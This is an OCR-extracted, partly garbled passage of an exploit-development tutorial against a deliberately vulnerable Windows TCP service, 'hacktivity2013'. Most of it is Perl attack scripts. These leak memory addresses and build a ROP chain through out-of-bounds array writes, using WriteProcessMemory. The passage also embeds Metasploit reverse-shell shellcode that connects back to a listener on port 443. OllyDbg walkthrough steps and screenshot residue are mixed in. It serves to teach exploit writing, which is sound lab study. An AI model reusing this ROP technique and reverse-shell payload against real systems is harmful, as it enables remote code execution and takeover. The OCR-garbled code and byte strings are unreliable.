SSHEEEE Sggggggé SSHFEEE ;ggiéggg kerne l32. W iteProcessMeno:
ciir) e |
et B R e ——

BR14Fo54| PRRZ7DAL| RETURN to kerne |32 7667700 GiiiFcre| Gaobhans

Co1iFoac| bobaanag G4 ooo| PaFapans ascir mPET

HE14FECE| AE2ZCERAEY HE14F254 (raE14F2R6 J
e ot e o
FEAL4AFE06 )  ARREARER l GHE14F294 ]| HHEEREES bl

Let us try to do it with the following script, save it with some name (I used b1.pl):

use I0::Socket;
use Time::HiRes qgqw (usleep);

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345",

Proto => 'tcp',);

die "Error: $!\n" unless S$sock;

usleep (100000) ;
Ssock->recv ($data, 1024);
print S$data;

$line = "READ 4\r\n";
print $sock $line;
usleep (100000) ;

$sock->recv ($p4,1024) ;
print $p4 . "\r\n";




usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

$line = "READ 403\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($p403,1024) ;
print $p403 . "\r\n";
usleep (100000) ;

Stmp = $p403 - 286936;
$line = "VADD 0, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = -1;

$line = "VADD 1,S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286758;
$line = "VADD 2, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = Sp4;

$line = "VADD 3, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = 500;

$line = "VADD 4, S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = Sp4;

$line = "VADD 5, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;



Stmp = $pd - 164;

$line = "VADD -1, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

close ($sock) ;
Then add a break point to the address of the writeprocess memory function as follows:

Restart the application in the debugger if needed, then right click to the disassembly window, and
from the popup window select Search for / Name in all modules.
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In the appearing all names window find the writeprocessmemory function (or just start to type its
name, and it will jump there).
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Address  Module |Section | Tupe Hame |;|
Fra21&678 ADUARISZ| . tent Import FERHELZZ. WriteFile

FrOFAZC] kernel32| .text Export WriteFile

FrOB3FOC kernel32| .teqt Export WriteFileEx

vrOFFE21 kernel32|.text Export WriteFileGather

¥rESBEBF1 kernel3z| .text Export WritePrivateProf ileSect ionA
¥FE3BC3E kernel32| .tent Export lritePrivateProfileSect ionl
FrEOSE3E kernel3Z| .tedt Export WritePrivateProf ileStringr
FrOCEB2EF kernel32| .teqt Export WritePrivateProfileStringll
YrEZEBF34 kernel32|.text Export WritePrivateProfileStructh
FrE3CHOS kernel32| . text Export WritePrivateProf i leStructl
¥rOBICEBE kernel32 .tedt Export Wy i teProcessMenmory

FrEIC2E1 kernel32| . teut Export WriteProfileSect ionH
FrE3CZFC kernel32| .teqt Export WriteProfileSect ionll

YrE3C22E kernel32| . tent Export WriteProfileStringl
FrEBVEFAH kernel32| . tent Export WriteProfileStringll

FrE4ECEd kernel32| .tedt Export WriteTapemark

E0ECAZ23 MSUCR2E | . teut Export _wrmdir _I
FEEH155S msuvcrt . teRt Export _wrmndir

VEAZEBEEE WS2_22 Ctent Export WSARCcept ;I
FEA15004 WSZ2_32 . hENT Export WSAAddressToStr ingA

Double click on this line. Then right click to the disassembly window, and from the popup menu
select Breakpoint / Toggle (or press the F2 button).
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Then click to the play button, to run the application, (or press the F9 button).
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[+ Admiinistrator: Command Prompt

isntest>rbl.pl
ommands =
HELF: no parametersz required, tuype this meszage

UADD numl.numZ : set the numl—th element of the array to num2. va
1 8..255, num2 32 hit integer

READ num :reads the num—th element of the array valid num values:
EXIT: exit from the application

273384
B02542665
811135376
A.2018848448
1.1
2.2018848618
3.3273384
4,568
L.3273384
-1.3273228

Intestl

L4l | 2

If we check the values on the stack we have a problem:

BiBci41B[FCALL to WriteProcessMemc o
BBSIFIDC BEgiFedd || hProcess = BBI1IFEE04
FEEZIFIES| BEE@EESE(| Address = 5@

BEZ1F1E4| VPEAL33BC|) Buffer = IJ.ISE_EE closesoc
BESIF1IES|( BE31FD44 (| BytesTollrite = 31FD44 [
HEZ1F1EC| BEEEEEEE|LpEytesllritten = MULL
EEgiF1iFE|( 7rCE98F4 | RETURH to ntdll.YrCE2EF4
EEZ1F1F4| BEEEFFFF
HEEZIFIFE| BEZ1F284
FESIFIFC| BOE@EE11
FAZIFZEA6| AAZ1F284
BEg1F264| FrOEBICEE|kernel32.WriteProcessMemc
HRS1F2@3( FFFFFFFF
EEZ1F2EC| 7FOBIDEA|RETURH to kernel32.7FOBIC
FESIFZ18| BEZ1FZAS
EAZIFZ214| PEEEE1F4
EEsiF21s| DE21F2AS
FESIFZIC| BEZ1F2EC _I
HEZIF226( DEEEEEEE
FESIFZ224 | BEE@EEE]
AazlFz2s) FEECEEDA| ASCIT "PE™ bl

The ESP points to the position 0x0031F1D8, there we can read the parameters of the
WriteProcessMemory function. But as one can see those are not my values. For example the
hProcess should be OXFFFFFFFF means the current process. Why happened his? It happens,
because as one remember we wrote our values to the position 1, 2, 3, 4, and 5. And if we check the
stack the values are really there. The 0 position now is the address of

kernel32. WriteProcessMemory (0x0031F204) so we should write the parameters from position -10
((0x0031F204 - 0x0031F1DC) / 4 = 0x28 / 4 = 0x0A = 10).

So we should modify our plan as follows:

* Read position 4 let it be P4, It points to the Stack, so we can calculate source value relative
to it.

* Read position 11 let it be P11. It points to the ntdll.dll, so we can calculate the addresses
from it if necessery.

* Read position 403 let it be P403. It points to kernel32.dll, so we can calculate the address
of WriteProcessFunction by the help of it.

* Position 0 should be the address of WriteProcessMemory (P403 — 286936)

* Position -10 OxFFFFFFFF means the current process (hProcess)



* position -9 destination of the copy (P403 - 286758)

* Position -8 Source Address of the copy (P4).

* Position -7 number of bytes to copy (nSize).

* Position -6 any writeable address (P4 - 164).

* Position -1 should be the address of position 0 (P4 - 164). It fires the control of EIP.

First let us find the address of WriteProcessMemory function. To do this right click anywhere to
the disassembly window, and from the popup menu select Search for / Name in all modules

OllyDbg - hacktivity2013.exe

File Wiew Debug Options Window Help

Slux| winj s+ 4 A +f L[E[M|T|WH|C|/|K|

[3 cru - main thread, module hacktivi

HAiz22105C £ F2 AOACSEAREAR rall  haclt i . :
BIoRIRE] Backup , Mame (Jabel) in current module  Ctrl+M :
it | !
e | Command L
. - [
e Binary Commar Cirl+F E
S%EE%E;E Assemble Space Seguence of commands Ctrl+5 b
oizzinez| | Label : Constant ‘
SE%%EEE Comment H Binary string Ctrl+B E
B1251RASE Breakpoint b . L
A12210A2 Hit frace N All intermodular calls :
aresioes All commands f
H1221AEA Run trace » [
BIEEIHB?_ All sequences
Bl1z221FAB= 1
Fallow Enter All constants b
CrieHe. o Go to L All switches e
Address ; : L
S%%%ﬁggg I Follow |r|; Dump | k All referenced text strings
View call tree Ctrl +H L
Blz24818
e User-defined label
Si%gig%g | User-defined comment
atizdoall  Find references to E e P
51224040 { . View AL aa2ar33c || anaaanng

In the new window start to type WriteProcessMemory to jump to the function (or just scroll
there):

[ rnd: wramerRoczssmory g

Address Module |Section |Tupe Hame L:J
TE4812B8 RPCRT4 HEHT Irmport FERHELZZ. WriteFile

TEEFHIC] kernel3z| .tent Export WriteFile

YEEREFOC kernel32| .tent Export WriteFileEx

TEEFFES] kernel3Z| .tent Exnport WriteFileGather

TEEBEBF1 kernel3z| .tent Export WritePrivateFrofileSect ionA
FEEEEC2E kernel32| . tent Export lritePrivateProfileSectionll
TEEBEESE kernel3z| . tent Export WritePrivateProfileStringd
TeEe482EF kernel32| .tent Exnport WritePrivateProfileStringll
TEEBEF24 kernel3Z| . tent Exnport WritePrivateProf ileStructH
TEEBCHDS kernel3Z| . tent Export WritePrivateFrofileStructl
FEEZICES kernel32| . tent Export llriteProcessMemory

TEEBC2E]1 kernel3Z| . tent Exnport WriteProfileSect ionA
TEEBC27C kernel32| .tent Export WriteProfileSectionll

TEEEC22E kernel32| . teut Export WriteProf i leStringR
TEE3TEFA kernel3z| .tent Export WriteProfileSteingl

YEECECEd kernel3Z| .tent Export WriteTapemark

SOEFAZ292 MSUCEZ@ | .tent Exnport _wrrdir J
TEEZ1552 mswcrt hert Export _wrmdir

FEEEEBEE WSZ2_32 Ltent Export WSAACccept .:J
TEEEE004 W5Z2_32 hEHE Enport WSAAddressToStr ingd

As one can see for me now it is 0x76631CB8. Record this number, and put a breakpoint to the
address 0x76631CBS8 address.



PTR S5%:[EBP+C]
PTR S5:[EBP+141
FTR DS:[<{&ntdl l.MtProtect
PTR 5%5: [EBP+2]

S55: [EBP-3],ERX
PTR SS:[ERP+141

Tee21CAF| 33CH ®OR EF=, EAX
TEEI1ICEL JHMP SHORT kernel32. FEE21C9E
Tee31CES HOP
TELI1CE4 HOP
rea31CES HOP
TEEZ1CEE HOF
TEE2LCEY HOP

MOW EDI,EDI
TEE21CER PUSH EBF
rea31CEE Moy EEF, ESP
Tee21CED FUSH ECx
ree2lCEBE PUSH ECH
Tea31CEF ac Moy ER=, DWORD
TEEIICCE PUSH EB:
Tee31CC3 14 Moy EE=, DWORD
TEE21ICCE| 56 PUSH ESI
reczlCCy| SBSE CElessve [ HMOW ESI,DWORD
res3lCCOl 57 FUSH EDI
FEL2ICCE| SBYD @2 Mow EDI, DWORD
ree3lC0O1| 8945 F3 MOV DWORD PTR
Fee2lC04) 8045 14 LEA ER:, DWORD

e
p——
I

Run the application by pressing the F9.

writeprocessmemory: 0x76677D90 - 0x76631CB8 = 0x460D8 = 286936

destination: 0x76677D90 - 0x76631D6A = 0x46026 = 286758

Use the following perl file, to attack it:

use I0::Socket;
use Time::HiRes qgw (usleep);

new I0::Socket::INET
PeerAddr => '127.0.0.1",
PeerPort => '12345",
Proto => 'tcp',):

die "Error: $!\n" unless

my S$sock =

Ssock;

usleep (100000) ;
Ssock->recv ($data, 1024);
print S$data;

$line = "READ 4\r\n";
print S$sock $line;
usleep (100000) ;

$sock->recv ($p4,1024) ;
print $p4 . "\r\n";
usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

$line = "READ 403\r\n";
print $sock $line;
usleep (100000) ;

(

ERX VE&TOEDT

Lo B L v e m iyt L]
0 ED G

m
T
L

CERECEEE
B1221A5C
TFFO48E8
BA12FEDS

BEA13FEER
CREEEEEE
[lsl5]sTsTs 515]

B1221A5C

ES B@z22
CS oalE
S5 8az3
05 8az23a
FS Base
G5 8888

LastErr
BHAEEZE

PU - main thread, module kernel32 - |O

Registers [(FFUI

kernel32.BaseThr
hackt ivi.<Modu LeH

hackt ivi.<Modu LeH

22bit BIFFFFFFFF]
22bit GI(FFFFFFFF)
32bit BLFFFFFFFF)
22bit BIFFFFFFFF]
32bit FFFOFE@E(FH
MULL

ERROR_SUCCESS (84
(MO,.HE,E,.BE. N5, FH




Ssock->recv ($p403,1024) ;
print $p403 . "\r\n";
usleep (100000) ;

Stmp = $p403 - 286936;
$line = "VADD 0, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = -1;

$line = "VADD -10, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286758;
S$Sline = "VADD -9, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p4;

Sline = "VADD -8, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = 500;

S$line = "VADD -7, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p4;

Sline = "VADD -6, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $pd - 164;

S$line = "VADD -1, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

close ($sock) ;

As we see, it almost working, there is only one huge problem, the hProcess value, what is instead of
-1 (OxFFFFFFFF) something else. It happens most probably, because the code overwrites this value



[ cru - main threa

odule kernel32

=10 x|

What we can do?

TEESLCAR WOF ERX, EAX Reaizters (FFUI
e ey SERLF (SEmEetn plsshEE 2 R TEEEICER kerne |52, Wr LteFrd
o e e ECH BA1IFESA
e Hoe E0Y BEA13FEEY _
e oe EEX 6OEE10CC MSUCRIA.printf
Do e Tk ESF @819FB28
R EEF BRAAGREZ
TEESLLER FUSH EEF ErE,
FEEZ1CER MOL EBF,ESP _
FEEZ1CED FUSH ECH EIF IREESICES lerne |22, U itePra
FEEI1CEE PLSH ECH -
FEEZICEF| 3B4S 6C MOU EAX, DWORD FTR S5:[EBP+C] EYOED BEsD gebit DIERREERRRS
re631Cts PLUSH_EE: A B S5 BEZS SPbit BLFFFFEFFE
FEESICCE| SBED 14 MOY EEX,OWORD PTR SS: [EBF+147 Bk R
roe31CCe) 56 PUSH ESI 51 FS BR3E Z7hiv TFFOFBRE0FR
FEEDICCT| BBSE CRIEE37E | MOU ESI,OWORD PTR DS:[<fntdll.MtProtect o s g
Ceeaicce| serD es HOU EDT, DUORD PTR SS: [EEBF+81 0L
L] : +

FEESICDL| 5945 Fa MOU DWORD FTR S5:[EEP-51, EOX 0 8 LastErr ERROR_SUCCESS (oY
FEEZ1C04) BDAE 14 LEA ERAX, DWORD FTR SS: [EBF+14] EFL BE@EEZZE (MO,ME,HE, 0,5, PE,
E0I=RAA19FB54 STE empty B.0

ST1 empty 8.0

STZ empty @.8

ST3 emotuy A H
Add H d ASCII E122141EB|FCALL to WeiteProcessHemo:
T T I T R R T i —Yooioroec| Ba1oF4S4|| hProcess = DB13F454 =
BlizrdEE2[2E 3F 41 G| 74 79 7B EC r"FIU{:;II‘:H-E‘ HE19FEZE reE3106A Address = FY&E310G6A
B1224016( EF €3 EE E6| 6F 48 48 B8 _infol@e 0@13F@34| @B19FOFS|| Buffer = BO19FBF3
Bi554a18| 2> 34 £5 50|FG BE 18 OF|veniotts BE1SFE3E| PEEEEIFY|| ButesTollrite = LF4 [GGS,
m1=224828| FF FF FF FF|FF FF FF FF it BEL9FEIC| BE19FEFS(kpButesliritten = BELIFEFS
SicoiEAlcD OB BT AR AR EE L o BALSFA3E| Fr4096F4| RETURN to ntdl L. 7r4098Fd
BlFF4AZE| 48 31 75 Al A B BE 06| @17E.. .. ggigggjg gg?g;ggﬁ
B1Z74R33[PE SF 41 G6| 60 79 6F 62| . PAUngob falarods| oalsrasd
BL1Z74R46| 6A 2@ 48 BE 40 21 2@ A1) jEE.L1"E
BlZ54m43| @1 69 B8 B8] 42 19 B2 06| 8,..H+ BOLIFASH| BO1AFACD
Bl7z4P56| BE 12 99 06| G0 60 06 06|, ..... BA19FE54| FEEILLEE| kerns 32, WriteProcessheno

Simply the problem is that the negative values in the positions are not good, because the application
may modify them. So we should use an other ROP gadget, to move the ESP somewhere within our

data. To do it we must find some instruction like ADD ESP,

XXX.

As we remember there were something similar in the ntdll.dll, let us search for it select view \
Executable modules:

OllyDbyg - hacktivity2013.exe

File

Debug Options Window Help

Log At i 4| #i L|E|M|T|W/H
Memary Alt-H4
EVIE FIR DSt [AEr 4k 1]
Heap 4E
7EE T kernel32. FEEIEFCA
7&s|  Threads E PTR DOS:CEDI+7rl,CL

Select the ntdll.dll by double clicking it:




I3 executable modules O] x|

Base Size Entiy Hame File wersion Fath &
H1220880) BEa0FEa0 81 221A5C hackt ivi C:Users ~Administrator-Documents~lisual Studio 2O
E017EEEE | BEARSERE | 0192048 | MSUCR9A | 9. 660, 38729, 1 Cr=llindows~WinSs5~u86_microsoft.we9@, cot_1foBb2b9.
TAF4EEEE | BEaEsn0E| F4F415864| wshtocpip| &. 0. 6EEE, 16384 | Ci~lindows~SystemId2~wshtcpip. dll

TE2A0EEA | BEASEBEAN| FEEE1424 | mswsock | 6.8, 68EA,. 16286 | C:~Mindows~swstemd2~mswsock.dl 1

YEDZ0EEA| BaACsaa0n | FEOCACC] | ADUAPIZZ| 6.8, 5882, 18805 | C:~Mindows~system32~AOVARIZZ. 11

TSESHEEE | BEABSERE | FSES16ES| HST 6.0, 6881, 188868 | C:~Windows~sustem3I2~H5I.dl1

FEEZEEEE | BEAAA0EE | PEB29FHE | mewvert F.H. 68682, 120085 | C:-lindowsssysten22~msvcrt.dlL

TE4SEAEE | BEACIERE | F54082EE| RFCRT4 G.8. 6881, 18808 | C:~Windows~swstenI2~RPCRT4.dlL1L

TEEEEEEE | BEAZ0EEE | FEEE1434| WS2_32 6.H8,688A, 16286 | C:~Mindows~system32~52_32.d11

TEESEEEE | BEADCHDE | FEEFEFFE| kerne 132( 6.0, 6881, 18886 | C:~llindows~system3dz2~kerne 132, d1L 1

Tr4EEEEE| B8] 27ERE ntdll £.8.6881, 12868 | C:sllindowsssustem32~ntdll.dlL

[

The ADD ESP, XX instruction looks like as 83C4XX. So let us search for the binary value 83C4.
Right click anywhere in the disassembly window, and prom the popup menu select Search for \
binary string.

Window Help

OllyDbg - hacktivity2013.exe

File Wiew Debug Options

S| »lu] wi¥

$i]4i| Y| =+ L[E[M|T|W|H|c[/|K|B|R|..|5]

rraBelan a |Reaizsters (FPLD
o . b |cee . T A ERE FEGEICES kernel32.lriteFrg
FraE10 FTR 55:[EEF+81 Bl e
Fraeion]  Copy k |
Crabladl g p [3:LEBP+181,ERH EBi: GBiAIBRE MSUCRSE printf
FrAE101 inary TR S5: [EBF+10] Eor IBB14F23E .
CTAELELY Agsemble Space EEF BROEEEEZ
CI e = ESI FFFFFEFFE
Fraelal Labe tInformationProcess EDT @al4Fzst )
7r4E101]  Comment . . FT4E1G5E EIF 7PEG31CES kernel32.lritePrd
ahiEL : C @ ES BE23 37bit BIFFFFFFFF]
Siif1as) Breakpoint ’ F1 C3 0016 32bit @(FFFFFFFF]
7P4E1GZ]  Runtr , A @ S5 8823 3Zbit B(FFFFFFFF)
SdEine]  anirace Z B DS 8822 3Zbit BIFFFFFFFF)
FFAB1AY 51 FS BE3E 37hit FFOEGEEIFA
7raeiez]  Mew origin here Ctrl+Gray * 1B GBS eeeE L
S ibine| Gotm b 0 B LastErr ERROR_SUCCESS (B9
PRABIBZ oo , [IE_SS: [EBF+C] ~ | FFL @E@eEzSE (MO, ME,NE, R, S, PE,
P STA empty 8.8
£ tu 8.0
Mame (Jabel) in current module  Cirl+H jﬁﬂ g-g
Addrezs Find references to 3 Mame in all modules to 'LE’EI;'EEEEEEHEND: -
eSS =
Bicoanm]  View * L= = FEEZ10EA
812241 Command Cirl+F  Er = o014F200
Gizz4niq Copy toexecutable » CTollcite = 1F4 (568,
A1274R2 ) Sequence of commands Ctrl+5 E=llritten = BO14F206
Gi32apoq  Analysis i N to ntdll.7r4096F4 -
e
3
e Eep e -
o0oo ex : E
Bizz466l B2 12 24 06l o0 B0 06 BOl345.... e e RS SIS
Type 83 C4 to the popup window, then press the OK button
Enter binary string to search for
ssCl i
INICODE Ii
HE= +02 [FEIE
_ £ | 33 |
I¥ Entire black
[T Caze zensitive Ok Cancel




Then you can use the CTRL + L to find the next one. Abou the 176™ (or just search for the
command ADD ESP,38 by pressing CTRL-F to find it)

774CCD3D 83C4 38 ADD ESP, 38
774CCD40 33CO0 XOR EAX, EAX
774CCD42 S5E POP ESI
774CCD43 5D POP EBP
774CCD44 C2 0800 RETN 8

let us see what it will do for us:

* TheADD ESP, 38 line will move the ESP from the position -11 to position -11 + 0x38/4 =
-10+0x0E=-11+14=3

* The POP ESTI and POP ERP will move two more positions: 3+ 2 =6

* So we should put the address of the second gadget to the position 5 (it will be the
WriteProcessMemory, because we want to run the ESP modification before the
WriteProcessMemory, so it will be the first, and that becomes the second one).

*  The number 8 after the RETN means after the return it will increase the value of ESP by
0x8 it means the position 6 + 0x08 /4 =6 + 2 = 8. The 6 is NOT a typo here, the return step
one position.

* So the parameters of the WriteProcessMemory should start from position 9. Yes, not from 8§,
because the position 8 is the return after this function, remember, a function call looks like

as:

IpNumberOfBytesWritten any writeable address ESP + 14
nSize Length of our shellcode ESP + 10
IpBuffer Source address of the copy ESP + 0C
IpBaseAddress Destination of the copy ESP + 08
hProcess should be OXFFFFFFFF, means the current process ESP + 04
RETURN Address it should be again the destination of the copy, bacuse we want to |ESP

call our shellcode.

AS we can see the first parameter must be not at ESP, but ESP +4 this is why we added one more.
Let us write a new attack script based on these informations:

P11 =2001685345 = 0x774F4B61
P403 = 1986493840 = 0x76677D90

writeprocessmemory: 0x76677D90 - 0x76631CB8 = 0x460D8 = 286936
destination: 0x76677D90 - 0x76631D6A = 0x46026 = 286758
ADD ESP gadget: 0x774F4B61 - 0x774CCD3D = 0x27E24 = 163364

* Read position 4 let it be P4, It points to the Stack, so we can calculate source value relative
to it.

* Read position 11 let it be P11. It points to the ntdll.dll, so we can calculate the addresses
from it if necessery.



* Read position 403 let it be P403. It points to kernel32.dll, so we can calculate the address

of WriteProcessFunction by the help of it.
* Position 0 should be the address of ADD ESP gadget (P11 - 163364)
* Position 5 should be the address of WriteProcessMemory (P403 — 286936)

* Position 8 now it is unimportant for us, because we copy our code just after the "memcopy’

instruction of WriteProcessMemory, so we do not necessery to return.
* Position 9 the hProcess, it must be OXFFFFFFFF means the current process (-1)
* Position 10 destination of the copy (P403 - 286758)
* Position 11 Source Address of the copy (address of position 14) (P4 - 108).
* Position 12 number of bytes to copy (nSize).
* Position 13 any writeable address (P4 - 164).
* Position 14 Exploit code starts from here.
* Position -1 should be the address of position 0 (P4 - 164). It fires the control of EIP.

use I0::Socket;
use Time::HiRes qgqw (usleep) ;

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345",

Proto => 'tcp',);

die "Error: $!\n" unless $sock;

usleep (100000) ;
Ssock->recv ($data, 1024);
print S$data;

$line = "READ 4\r\n";
print $sock $line;
usleep (100000) ;

$sock->recv ($p4,1024) ;
print $p4 . "\r\n";
usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

$line = "READ 403\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($p403,1024) ;
print $p403 . "\r\n";
usleep (100000) ;



Stmp = $pll - 163364;
$line = "VADD 0, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286936;
$line = "VADD 5, S$tmp\r\n";
print S$sock $line;

print $line;

usleep (100000) ;

Stmp = -1;

$line = "VADD 9, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286758;
$line = "VADD 10, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p4 - 108;

$line = "VADD 11, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = 500;

$line = "VADD 12, $Stmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = Sp4;

$line = "VADD 13, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $Sp4d - 164;

$line = "VADD -1, S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

close ($sock) ;

As we can see our exploit until now runs fine. So there is one more last step, to add the payload:



Add the shellcode

Start the metasploit console, and generate a payload.
Use the show payloads command, to list the payloads:

[+ Metasploit Pro Console _ =]
| Fle Edit View Help

|B-e3 D0 e

=[ metasploit v4.6.0-dev [core:4.6 api:1l.0] -~
+ —— ——=[ 1068 exploits - 670 auxiliary - 179 post
+ —— ——=[ 277 payloads - 29 encoders - B nops

[#*] Successfully loaded plugin: pro
msf > show pavloads I

Select a payload, I selected the windows/shell reverse tcp. Type:
use windows/shell reverse tcp

[+ Metasploit Pro Console I ] B
| Fle Edt View Help

|SB-e5 | hHD)|0 e

m=f > use windowsfshell_reverse_tcp -~
msf payload(shell reverse_tcp) »
m=f payload(shell reverse tcp) »

use the show options command, to check the parameters of the payload

[ Metasploit Pro Console I =]
| Fle Edit View Help

|m-es3|hih| e e

m=f payload(shell reverse tcp) > show options -~

Module options (paylnadfwindowsfshell_reverse_tcp]:

Hame Current Setting Reguired Description

EXITFUHNC process yes Exit technique: seh, thread, process, no
ne

LHOST yes The li=sten address

LECRET 4444 ves The listen port
m=f payload(shell reverse tcp) >

maf payvload(zhell reversze tcp) >

The IP of my test computer is 192.168.168.250 so I will connect back to that address. And I will use
the port 443.

set LHOST 192.168.168.250
set LPORT 443



¥ Metasploit Pro Console I ] 3
| Fle Edt View Help

J B $|[t]Ej|@3~E
m=f payload(shell rewvers
LHCOST => 182.168.168.250
m=f payload(zhell rewvers
LPCRT =»> 443

m=f payleoad(shell
msf payload(shell

e tcp) > set LHOST 152.168.168.250 -

e tcp) > set LPORT 443

m
]
m

_tcp) >
_tep)

H M

m
]
m

Then use the generate -t pl command, to generate the payload in perl:

¥ Metasploit Pro Console I = [
| Fle Edit View Help

J o T @ $|Ej[3|(@ =

m=f payload(shell reverse tcp) > generate -t pl -~
# windows/shell reverse tcp - 314 bytes

$# http://www.metasploit.com

$# VERBO3E=false, LHOST=1%2.168.168.250, LPORT=443,

I got he following payload:

# windows/shell reverse tcp - 314 bytes

# http://www.metasploit.com

# VERBOSE=false, LHOST=192.168.168.250, LPORT=443,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependMigrate=false, EXITFUNC=process,

# InitialAutoRunScript=, AutoRunScript=

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xcO0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0O"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xf£t"
"\x31\xc0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x74"
"\x£8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5£"
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xcd4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
"\xc0\xa8\xa8\xfa\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
"\x86\xff\xd5\x89\xe0\x4e\x56\x406\xff\x30\x68\x08\x87\x1d"
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xf£t"
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"



"\x6f\x6a\x00\x53\xff\xd5";

as we see it is 314 bytes long, so 314 / 4 = 78.5 positions. We have altogether 255 positions to write,
we do not use 100 so 150 is remaining, what is much more, than the required 78.5. So there is no
problem with the payload size.

you should take care to the following thing, the value is an integer number, and if it greater than
O0x7FFFFFFF (2147483647) then the clever visual studio 2008 compiled a code, which will not turn
over, but it will be 0Ox7FFFFFFF. Simplier, if you enter the value 2147483648 (0x80000000) or
greater you will get OXx7FFFFFFF. You should enter negative values. If you want to enter
2147483648 (0x80000000) you should use the value -2147483648 (0x80000000 DWORD) if you
want to enter OXFFFFFFFF you should use the value -1 (OxFFFFFFFF DWORD).

Based on these information we can write the following exploit code:

use IO::Socket;
use Time::HiRes qgqw (usleep);

windows/shell reverse tcp - 314 bytes
http://www.metasploit.com

VERBOSE=false, LHOST=192.168.168.250, LPORT=443,
ReverseConnectRetries=5, ReverseAllowProxy=false,
PrependMigrate=false, EXITFUNC=process,
InitialAutoRunScript=, AutoRunScript=

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xeb5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0o"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xc0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
